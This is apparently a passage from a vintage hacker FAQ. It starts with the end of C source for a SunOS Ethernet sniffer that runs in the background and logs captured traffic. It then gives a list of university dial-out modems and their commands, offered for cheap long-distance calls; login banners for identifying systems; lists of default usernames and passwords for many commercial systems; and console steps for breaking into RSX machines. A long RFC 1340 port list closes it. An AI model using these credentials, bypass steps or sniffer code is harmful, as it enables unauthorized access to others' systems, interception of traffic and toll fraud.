            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
        }
    }
    Pexit((-1),"Eth: read");
}
 /* Authorize your proogie,generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    strcpy(pwd,AUTHPASSWD);
    sprintf(prmpt,"(%s)UP? ",ProgName);
    buf=getpass(prmpt);
    if(strcmp(pwd,crypt(buf,pwd)))
        exit(1);
}
    */
void main(argc, argv)
int argc;
char **argv;
{
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,
           ac=1,
           backg=0;

    ProgName=argv[0];

 /*     getauth(); */

    LOG=NULL;
    device=NULL;
    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
                      break;
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
                      break;
            case 'B': backg=1;
                      break;
            case 'D': debug=1;
                      break;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
                            ProgName);
                      exit(1);
       }
    }

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        close(s);
        device = ifc.ifc_req->ifr_name;
    }

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

    if(!LOG)
        LOG=stdout;

    signal(SIGINT, death);
    signal(SIGTERM,death);
    signal(SIGKILL,death);
    signal(SIGQUIT,death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
         backg=0;
    }

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
           exit(0);
        } else if(s<0)
           Pexit(1,"fork");

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
                close(s);
        }
    }
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
    fflush(LOG);

    do_it();
}


18. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out.  Normal outdials will only call local numbers.  A GOD
(Global OutDial) is capable of calling long distance.  Outdials are an
inexpensive method of calling long distance BBS's.


19. What are some Internet Outdials?


Area    Address(s)                      Command(s)
------  ------------------------------- ---------------------
201     128.112.88.0
    128.112.88.1
    128.112.88.2
    128.112.88.3
204     umnet.cc.manitoba.ca            "dial12" or "dial24"
206     dialout24.cac.washington.edu
215     wiseowl.ocis.temple.edu         atz
                    atdt 9xxxyyyy
    129.72.1.59                     hayes compat
218     aa28.d.umn.edu                  cli
                    rlogin modem
                    at "login:" type
                    "modem"
    modem.d.umn.edu                 "Hayes"
232     isn.rdns.iastate.edu            MODEM              [Works!!]
                    atz
                    atdt8xxx-xxxx
303     129.82.100.64                   login: modem       [need password!]
307     modem.uwyo.edu
    129.72.1.59                     hayes compat
313     35.1.1.6                        "dial2400-aa" or   [can't connect]
                    "dial1200-aa"
315     198.36.22.3                     "modem"
404     emory.edu                       .modem8 or
                    .dialout
    broadband.cc.emory.edu          .modem8 or
                    .dialout
    128.140.1.239                   .modem8|CR
                    or .modem96|CR
412     gate.cis.pitt.edu               LAT
                    connect dialout
                    ^E
                    atdt 91k xxx-xxxx
415     128.32.132.250                  "dial1" or "dial2"
416     pacx.utcs.utoronto.ca           modem
                    atdt 9xxx-xxxx
502     uknet.uky.edu                   outdial2400
                    atdt 9xxx-xxxx
510     annex132-1.eecs.berkeley.edu    atdt 9,,,,, xxx-xxxx
514     132.204.2.11                    externe#9 9xxx-xxxx
515     isn.rdns.iastate.edu            login MODEM
                    dial atdt8xxx-yyyy
602     129.219.17.3                    atdt8,,,,,xyyyxxxyyyy
    129.219.17.3                    login: MODEM
                    atdt 8xxx-xxxx
609     129.72.1.59                     "Hayes"
    128.119.131.110                 "Hayes"
    128.119.131.111
    128.119.131.112
    128.119.131.113
    128.119.131.114
    128.112.131.110
    128.112.131.111
    128.112.131.112
    128.112.131.113
    128.112.131.114                 the above are hayes
614     ns2400.ircc.ohio-state.edu      DIAL               [can't connect]
615     dca.utk.edu                     "dial2400"
617     dialout.lcs.mit.edu
619     dialin.ucsd.edu                 "dialout"
    128.54.30.1                     nue
713     128.143.70.101                  "connect hayes"
    128.249.27.154                  c modem96
                    atdt 9xxx-xxxx
    128.249.27.153                  " -+ as above +- "
    modem24.bcm.tmc.edu
    modem12.bcm.tmc.edu
714     130.191.4.70                    atdt 8xxx-xxxx
804     ublan.acc.virginia.edu          c hayes
    128.143.70.101                  connect hayes
                    atdt xxx-xxxx
902     star.ccs.tuns.ca                "dialout"          [down...]
916     128.120.2.251                   "dialout"          [down...]
    129.137.33.72                                      [can't connect]
???     dialout1.princeton.edu                             [can't connect]
    dswitch.byu.edu                 "C Modem"          [can't connect]
    modem.cis.uflu.edu                                 [can't connect]
    r596adi1.uc.edu                                    [can't connect]
    vtnet1.cns.ut.edu               "CALL" or "call"   [can't connect]
    18.26.0.55                                         [can't connect]
    128.173.5.4                                        [need password!]
    128.187.1.2                                        [need password!]
    129.137.33.71                                      [can't connect]
    bstorm.bga.com / port=4000                         [what is this?]



20. What is this system?


AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]


AS/400
~~~~~~
UserID?
Password?

Once in, type GO MAIN


CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt.  Next prompt is:

USER NAME:


CISCO Router
~~~~~~~~~~~~
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866

TN043R1>


DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]   (CIERR 1424)
MPE XL:


GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
  XXX.XXX
 PLEASE SELECT SERVICE REQUIRED.-3->


Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>


Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                            MMM       MMMERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern Telecom, 1991


Novell ONLAN
~~~~~~~~~~~~

N

[To access the systems it is best to own a copy of ONLAN/PC]


PC-Anywhere
~~~~~~~~~~~

P

[To access the systems it is best to own a copy of PCAnywhere Remote]


PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)


ROLM-OSL
~~~~~~~~
MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
RELEASE 8003
OSL, PLEASE.
?


System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]


Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.


VM/370
~~~~~~
VM/370
!


VM/ESA
~~~~~~
VM/ESA ONLINE

                                          TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>
PASSWORD ===>

COMMAND  ===>


Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...
Annex username: TNO
Annex password:

Permission granted
annex:


21. What are the default accounts for XXX?

AIX
~~~
guest           guest


AS/400
~~~~~~
qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */

also

ibm/password
ibm/2222
ibm/service
qsecofr/1111111
qsecofr/2222222
qsvr/qsvr
secofr/secofr


DECserver
~~~~~~~~~
ACCESS
SYSTEM


Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO           MANAGER.SYS
HELLO           MGR.SYS
HELLO           FIELD.SUPPORT     HPUNSUP or SUPPORT or HP
HELLO           OP.OPERATOR
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
OPERATOR        COGNOS
MANAGER         COGNOS
OPERATOR        DISC
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
SPOOLMAN        HPOFFICE
ADVMAIL         HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MANAGER         HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MANAGER         SECURITY
MGR             SECURITY
FIELD           SERVICE
MANAGER         SYS
MGR             SYS
PCUSER          SYS
RSBCMON         SYS
OPERATOR        SYS
OPERATOR        SYSTEM
FIELD           SUPPORT
OPERATOR        SUPPORT
MANAGER         TCH
MAIL            TELESUP
MANAGER         TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote


Major BBS
~~~~~~~~~
Sysop           Sysop


PICK O/S
~~~~~~~~
DSA             # Desquetop System Administrator
DS
DESQUETOP
PHANTOM


Prolog
~~~~~~
PBX             PBX
NETWORK         NETWORK
NETOP           <null>


Rolm
~~~~
CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer


PhoneMail Defaults

sysadmin        sysadmin
tech            tech
poll            tech


RSX
~~~
SYSTEM/SYSTEM   (Username SYSTEM, Password SYSTEM)
1,1/system      (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

        MICRO/RSX

Alternately you can hit <CTRL-Z>  when the boot sequence asks you for the
date and create an account using:

        RUN ACNT
        or  RUN $ACNT

(Numbers below 10 {oct} are Priveleged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system.  This will hopefully result in indirect blowing
up...  And hopefully the system has not been fully secured.


System 75
~~~~~~~~~
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field


Taco Bell
~~~~~~~~~
rgm             rollout
tacobell        <null>


Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816


VMS
~~~
field           service
systest         utep


22. What port is XXX on?

The file /etc/services on most Unix machines lists the activity
occurring on each port.  Here is the most complete port list in
existence, originally presented in RFC 1340:

Keyword         Decimal    Description
-------         -------    -----------
                  0/tcp    Reserved
                  0/udp    Reserved
tcpmux            1/tcp    TCP Port Service Multiplexer
tcpmux            1/udp    TCP Port Service Multiplexer
compressnet       2/tcp    Management Utility
compressnet       2/udp    Management Utility
compressnet       3/tcp    Compression Process
compressnet       3/udp    Compression Process
                  4/tcp    Unassigned
                  4/udp    Unassigned
rje               5/tcp    Remote Job Entry
rje               5/udp    Remote Job Entry
                  6/tcp    Unassigned
                  6/udp    Unassigned
echo              7/tcp    Echo
echo              7/udp    Echo
                  8/tcp    Unassigned
                  8/udp    Unassigned
discard           9/tcp    Discard
discard           9/udp    Discard
                 10/tcp    Unassigned
                 10/udp    Unassigned
systat           11/tcp    Active Users
systat           11/udp    Active Users
                 12/tcp    Unassigned
                 12/udp    Unassigned
daytime          13/tcp    Daytime
daytime          13/udp    Daytime
                 14/tcp    Unassigned
                 14/udp    Unassigned
                 15/tcp    Unassigned [was netstat]
                 15/udp    Unassigned
                 16/tcp    Unassigned
                 16/udp    Unassigned
qotd             17/tcp    Quote of the Day
qotd             17/udp    Quote of the Day
msp              18/tcp    Message Send Protocol
msp              18/udp    Message Send Protocol
chargen          19/tcp    Character Generator
chargen          19/udp    Character Generator
ftp-data         20/tcp    File Transfer [Default Data]
ftp-data         20/udp    File Transfer [Default Data]
ftp              21/tcp    File Transfer [Control]
ftp              21/udp    File Transfer [Control]
                 22/tcp    Unassigned
                 22/udp    Unassigned
telnet           23/tcp    Telnet
telnet           23/udp    Telnet
                 24/tcp    any private mail system
                 24/udp    any private mail system
smtp             25/tcp    Simple Mail Transfer
smtp             25/udp    Simple Mail Transfer
                 26/tcp    Unassigned
                 26/udp    Unassigned
nsw-fe           27/tcp    NSW User System FE
nsw-fe           27/udp    NSW User System FE
                 28/tcp    Unassigned
                 28/udp    Unassigned
msg-icp          29/tcp    MSG ICP
msg-icp          29/udp    MSG ICP
                 30/tcp    Unassigned
                 30/udp    Unassigned
msg-auth         31/tcp    MSG Authentication
msg-auth         31/udp    MSG Authentication
                 32/tcp    Unassigned
                 32/udp    Unassigned
dsp              33/tcp    Display Support Protocol
dsp              33/udp    Display Support Protocol
                 34/tcp    Unassigned
                 34/udp    Unassigned
                 35/tcp    any private printer server
                 35/udp    any private printer server
                 36/tcp    Unassigned
                 36/udp    Unassigned
time             37/tcp    Time
time             37/udp    Time
                 38/tcp    Unassigned
                 38/udp    Unassigned
rlp              39/tcp    Resource Location Protocol
rlp              39/udp    Resource Location Protocol
                 40/tcp    Unassigned
                 40/udp    Unassigned
graphics         41/tcp    Graphics
graphics         41/udp    Graphics
nameserver       42/tcp    Host Name Server
nameserver       42/udp    Host Name Server
nicname          43/tcp    Who Is
nicname          43/udp    Who Is
mpm-flags        44/tcp    MPM FLAGS Protocol
mpm-flags        44/udp    MPM FLAGS Protocol
mpm              45/tcp    Message Processing Module [recv]
mpm              45/udp    Message Processing Module [recv]
mpm-snd          46/tcp    MPM [default send]
mpm-snd          46/udp    MPM [default send]
ni-ftp           47/tcp    NI FTP
ni-ftp           47/udp    NI FTP
                 48/tcp    Unassigned
                 48/udp    Unassigned
login            49/tcp    Login Host Protocol
login            49/udp    Login Host Protocol
re-mail-ck       50/tcp    Remote Mail Checking Protocol
re-mail-ck       50/udp    Remote Mail Checking Protocol
la-maint         51/tcp    IMP Logical Address Maintenance
la-maint         51/udp    IMP Logical Address Maintenance
xns-time         52/tcp    XNS Time Protocol
xns-time         52/udp    XNS Time Protocol
domain           53/tcp    Domain Name Server
domain           53/udp    Domain Name Server
xns-ch           54/tcp    XNS Clearinghouse
xns-ch           54/udp    XNS Clearinghouse
isi-gl           55/tcp    ISI Graphics Language
isi-gl           55/udp    ISI Graphics Language
xns-auth         56/tcp    XNS Authentication
xns-auth         56/udp    XNS Authentication
                 57/tcp    any private terminal access
                 57/udp    any private terminal access
xns-mail         58/tcp    XNS Mail
xns-mail         58/udp    XNS Mail
                 59/tcp    any private file service
                 59/udp    any private file service
                 60/tcp    Unassigned
                 60/udp    Unassigned
ni-mail          61/tcp    NI MAIL
ni-mail          61/udp    NI MAIL
acas             62/tcp    ACA Services
acas             62/udp    ACA Services
via-ftp          63/tcp    VIA Systems - FTP
via-ftp          63/udp    VIA Systems - FTP
covia            64/tcp    Communications Integrator (CI)
covia            64/udp    Communications Integrator (CI)
tacacs-ds        65/tcp    TACACS-Database Service
tacacs-ds        65/udp    TACACS-Database Service
sql*net          66/tcp    Oracle SQL*NET
sql*net          66/udp    Oracle SQL*NET
bootps           67/tcp    Bootstrap Protocol Server
bootps           67/udp    Bootstrap Protocol Server
bootpc           68/tcp    Bootstrap Protocol Client
bootpc           68/udp    Bootstrap Protocol Client
tftp             69/tcp    Trivial File Transfer
tftp             69/udp    Trivial File Transfer
gopher           70/tcp    Gopher
gopher           70/udp    Gopher
netrjs-1         71/tcp    Remote Job Service
netrjs-1         71/udp    Remote Job Service
netrjs-2         72/tcp    Remote Job Service
netrjs-2         72/udp    Remote Job Service
netrjs-3         73/tcp    Remote Job Service
netrjs-3         73/udp    Remote Job Service
netrjs-4         74/tcp    Remote Job Service
netrjs-4         74/udp    Remote Job Service
                 75/tcp    any private dial out service
                 75/udp    any private dial out service
                 76/tcp    Unassigned
                 76/udp    Unassigned
                 77/tcp    any private RJE service
                 77/udp    any private RJE service
vettcp           78/tcp    vettcp
vettcp           78/udp    vettcp
finger           79/tcp    Finger
finger           79/udp    Finger
www              80/tcp    World Wide Web HTTP
www              80/udp    World Wide Web HTTP
hosts2-ns        81/tcp    HOSTS2 Name Server
hosts2-ns        81/udp    HOSTS2 Name Server
xfer             82/tcp    XFER Utility
xfer             82/udp    XFER Utility
mit-ml-dev       83/tcp    MIT ML Device
mit-ml-dev       83/udp    MIT ML Device
ctf              84/tcp    Common Trace Facility
ctf              84/udp    Common Trace Facility
mit-ml-dev       85/tcp    MIT ML Device
mit-ml-dev       85/udp    MIT ML Device
mfcobol          86/tcp    Micro Focus Cobol
mfcobol          86/udp    Micro Focus Cobol
                 87/tcp    any private terminal link
                 87/udp    any private terminal link
kerberos         88/tcp    Kerberos
kerberos         88/udp    Kerberos
su-mit-tg        89/tcp    SU/MIT Telnet Gateway
su-mit-tg        89/udp    SU/MIT Telnet Gateway
dnsix            90/tcp    DNSIX Securit Attribute Token Map
dnsix            90/udp    DNSIX Securit Attribute Token Map
mit-dov          91/tcp    MIT Dover Spooler
mit-dov          91/udp    MIT Dover Spooler
npp              92/tcp    Network Printing Protocol
npp              92/udp    Network Printing Protocol
dcp              93/tcp    Device Control Protocol
dcp              93/udp    Device Control Protocol
objcall          94/tcp    Tivoli Object Dispatcher
objcall          94/udp    Tivoli Object Dispatcher
supdup           95/tcp    SUPDUP
supdup           95/udp    SUPDUP
dixie            96/tcp    DIXIE Protocol Specification
dixie            96/udp    DIXIE Protocol Specification
swift-rvf        97/tcp    Swift Remote Vitural File Protocol
swift-rvf        97/udp    Swift Remote Vitural File Protocol
tacnews          98/tcp    TAC News
tacnews          98/udp    TAC News
metagram         99/tcp    Metagram Relay
metagram         99/udp    Metagram Relay
newacct         100/tcp    [unauthorized use]
hostname        101/tcp    NIC Host Name Server
hostname        101/udp    NIC Host Name Server
iso-tsap        102/tcp    ISO-TSAP
iso-tsap        102/udp    ISO-TSAP
gppitnp         103/tcp    Genesis Point-to-Point Trans Net
gppitnp         103/udp    Genesis Point-to-Point Trans Net
acr-nema        104/tcp    ACR-NEMA Digital Imag. & Comm. 300
acr-nema        104/udp    ACR-NEMA Digital Imag. & Comm. 300
csnet-ns        105/tcp    Mailbox Name Nameserver
csnet-ns        105/udp    Mailbox Name Nameserver
3com-tsmux      106/tcp    3COM-TSMUX
3com-tsmux      106/udp    3COM-TSMUX
rtelnet         107/tcp    Remote Telnet Service
rtelnet         107/udp    Remote Telnet Service
snagas          108/tcp    SNA Gateway Access Server
snagas          108/udp    SNA Gateway Access Server
pop2            109/tcp    Post Office Protocol - Version 2
pop2            109/udp    Post Office Protocol - Version 2
pop3            110/tcp    Post Office Protocol - Version 3
pop3            110/udp    Post Office Protocol - Version 3
sunrpc          111/tcp    SUN Remote Procedure Call
sunrpc          111/udp    SUN Remote Procedure Call
mcidas          112/tcp    McIDAS Data Transmission Protocol
mcidas          112/udp    McIDAS Data Transmission Protocol
auth            113/tcp    Authentication Service
auth            113/udp    Authentication Service
audionews       114/tcp    Audio News Multicast
audionews       114/udp    Audio News Multicast
sftp            115/tcp    Simple File Transfer Protocol
sftp            115/udp    Simple File Transfer Protocol
ansanotify      116/tcp    ANSA REX Notify
ansanotify      116/udp    ANSA REX Notify
uucp-path       117/tcp    UUCP Path Service
uucp-path       117/udp    UUCP Path Service
sqlserv         118/tcp    SQL Services
sqlserv         118/udp    SQL Services
nntp            119/tcp    Network News Transfer Protocol
nntp            119/udp    Network News Transfer Protocol
cfdptkt         120/tcp    CFDPTKT
cfdptkt         120/udp    CFDPTKT
erpc            121/tcp    Encore Expedited Remote Pro.Call
erpc            121/udp    Encore Expedited Remote Pro.Call
smakynet        122/tcp    SMAKYNET
smakynet        122/udp    SMAKYNET
ntp             123/tcp    Network Time Protocol
ntp             123/udp    Network Time Protocol
ansatrader      124/tcp    ANSA REX Trader
ansatrader      124/udp    ANSA REX Trader
locus-map       125/tcp    Locus PC-Interface Net Map Ser
locus-map       125/udp    Locus PC-Interface Net Map Ser
unitary         126/tcp    Unisys Unitary Login
unitary         126/udp    Unisys Unitary Login
locus-con       127/tcp    Locus PC-Interface Conn Server
locus-con       127/udp    Locus PC-Interface Conn Server
gss-xlicen      128/tcp    GSS X License Verification
gss-xlicen      128/udp    GSS X License Verification
pwdgen          129/tcp    Password Generator Protocol
pwdgen          129/udp    Password Generator Protocol
cisco-fna       130/tcp    cisco FNATIVE
cisco-fna       130/udp    cisco FNATIVE
cisco-tna       131/tcp    cisco TNATIVE
cisco-tna       131/udp    cisco TNATIVE
cisco-sys       132/tcp    cisco SYSMAINT
cisco-sys       132/udp    cisco SYSMAINT
statsrv         133/tcp    Statistics Service
statsrv         133/udp    Statistics Service
ingres-net      134/tcp    INGRES-NET Service
ingres-net      134/udp    INGRES-NET Service
loc-srv         135/tcp    Location Service
loc-srv         135/udp    Location Service
profile         136/tcp    PROFILE Naming System
profile         136/udp    PROFILE Naming System
netbios-ns      137/tcp    NETBIOS Name Service
netbios-ns      137/udp    NETBIOS Name Service
netbios-dgm     138/tcp    NETBIOS Datagram Service
netbios-dgm     138/udp    NETBIOS Datagram Service
netbios-ssn     139/tcp    NETBIOS Session Service
netbios-ssn     139/udp    NETBIOS Session Service
emfis-data      140/tcp    EMFIS Data Service
emfis-data      140/udp    EMFIS Data Service
emfis-cntl      141/tcp    EMFIS Control Service
emfis-cntl      141/udp    EMFIS Control Service
bl-idm          142/tcp    Britton-Lee IDM
bl-idm          142/udp    Britton-Lee IDM
imap2           143/tcp    Interim Mail Access Protocol v2
imap2           143/udp    Interim Mail Access Protocol v2
news            144/tcp    NewS
news            144/udp    NewS
uaac            145/tcp    UAAC Protocol
uaac            145/udp    UAAC Protocol
iso-tp0         146/tcp    ISO-IP0
iso-tp0         146/udp    ISO-IP0
iso-ip          147/tcp    ISO-IP
iso-ip          147/udp    ISO-IP
cronus          148/tcp    CRONUS-SUPPORT
cronus          148/udp    CRONUS-SUPPORT
aed-512         149/tcp    AED 512 Emulation Service
aed-512         149/udp    AED 512 Emulation Service
sql-net         150/tcp    SQL-NET
sql-net         150/udp    SQL-NET
hems            151/tcp    HEMS
hems            151/udp    HEMS
bftp            152/tcp    Background File Transfer Program
bftp            152/udp    Background File Transfer Program
sgmp            153/tcp    SGMP
sgmp            153/udp    SGMP
netsc-prod      154/tcp    NETSC
netsc-prod      154/udp    NETSC
netsc-dev       155/tcp    NETSC
netsc-dev       155/udp    NETSC
sqlsrv          156/tcp    SQL Service
sqlsrv          156/udp    SQL Service
knet-cmp        157/tcp    KNET/VM Command/Message Protocol
knet-cmp        157/udp    KNET/VM Command/Message Protocol
pcmail-srv      158/tcp    PCMail Server
pcmail-srv      158/udp    PCMail Server
nss-routing     159/tcp   NSS-Routing
nss-routing     159/udp   NSS-Routing
sgmp-traps      160/tcp    SGMP-TRAPS
sgmp-traps      160/udp    SGMP-TRAPS
snmp            161/tcp    SNMP
snmp            161/udp    SNMP
snmptrap        162/tcp    SNMPTRAP
snmptrap        162/udp    SNMPTRAP
cmip-man        163/tcp    CMIP/TCP Manager
cmip-man        163/udp    CMIP/TCP Manager
cmip-agent      164/tcp    CMIP/TCP Agent
smip-agent      164/udp    CMIP/TCP Agent
xns-courier     165/tcp   Xerox
xns-courier     165/udp   Xerox
s-net           166/tcp    Sirius Systems
s-net           166/udp    Sirius Systems
namp            167/tcp    NAMP
namp            167/udp    NAMP
rsvd            168/tcp    RSVD
rsvd            168/udp    RSVD
send            169/tcp    SEND
send            169/udp    SEND
print-srv       170/tcp    Network PostScript
print-srv       170/udp    Network PostScript
multiplex       171/tcp    Network Innovations Multiplex
multiplex       171/udp    Network Innovations Multiplex
cl/1            172/tcp    Network Innovations CL/1
cl/1            172/udp    Network Innovations CL/1
xyplex-mux      173/tcp    Xyplex
xyplex-mux      173/udp    Xyplex
mailq           174/tcp    MAILQ
mailq           174/udp    MAILQ
vmnet           175/tcp    VMNET
vmnet           175/udp    VMNET
genrad-mux      176/tcp    GENRAD-MUX
genrad-mux      176/udp    GENRAD-MUX
xdmcp           177/tcp    X Display Manager Control Protocol
xdmcp           177/udp    X Display Manager Control Protocol
nextstep        178/tcp    NextStep Window Server
NextStep        178/udp    NextStep Window Server
bgp             179/tcp    Border Gateway Protocol
bgp             179/udp    Border Gateway Protocol
ris             180/tcp    Intergraph
ris             180/udp    Intergraph
unify           181/tcp    Unify
unify           181/udp    Unify
audit           182/tcp    Unisys Audit SITP
audit           182/udp    Unisys Audit SITP
ocbinder        183/tcp    OCBinder
ocbinder        183/udp    OCBinder
ocserver        184/tcp    OCServer
ocserver        184/udp    OCServer
remote-kis      185/tcp    Remote-KIS
remote-kis      185/udp    Remote-KIS
kis             186/tcp    KIS Protocol
kis             186/udp    KIS Protocol
aci             187/tcp    Application Communication Interface
aci             187/udp    Application Communication Interface
mumps           188/tcp    Plus Five's MUMPS
mumps           188/udp    Plus Five's MUMPS
qft             189/tcp    Queued File Transport
qft             189/udp    Queued File Transport
gacp            190/tcp    Gateway Access Control Protocol
cacp            190/udp    Gateway Access Control Protocol
prospero        191/tcp    Prospero
prospero        191/udp    Prospero
osu-nms         192/tcp    OSU Network Monitoring System
osu-nms         192/udp    OSU Network Monitoring System
srmp            193/tcp    Spider Remote Monitoring Protocol
srmp            193/udp    Spider Remote Monitoring Protocol
irc             194/tcp    Internet Relay Chat Protocol
irc             194/udp    Internet Relay Chat Protocol
dn6-nlm-aud     195/tcp    DNSIX Network Level Module Audit
dn6-nlm-aud     195/udp    DNSIX Network Level Module Audit
dn6-smm-red     196/tcp    DNSIX Session Mgt Module Audit Redir
dn6-smm-red     196/udp    DNSIX Session Mgt Module Audit Redir
dls             197/tcp    Directory Location Service
dls             197/udp    Directory Location Service
dls-mon         198/tcp    Directory Location Service Monitor
dls-mon         198/udp    Directory Location Service Monitor
smux            199/tcp    SMUX
smux            199/udp    SMUX
src             200/tcp    IBM System Resource Controller
src             200/udp    IBM System Resource Controller
at-rtmp         201/tcp    AppleTalk Routing Maintenance
at-rtmp         201/udp    AppleTalk Routing Maintenance
at-nbp          202/tcp    AppleTalk Name Binding
at-nbp          202/udp    AppleTalk Name Binding
at-3            203/tcp    AppleTalk Unused
at-3            203/udp    AppleTalk Unused
at-echo         204/tcp    AppleTalk Echo
at-echo         204/udp    AppleTalk Echo
at-5            205/tcp    AppleTalk Unused
at-5            205/udp    AppleTalk Unused
at-zis          206/tcp    AppleTalk Zone Information
at-zis          206/udp    AppleTalk Zone Information
at-7            207/tcp    AppleTalk Unused
at-7            207/udp    AppleTalk Unused
at-8            208/tcp    AppleTalk Unused
at-8            208/udp    AppleTalk Unused
tam             209/tcp    Trivial Authenticated Mail Protocol
tam             209/udp    Trivial Authenticated Mail Protocol
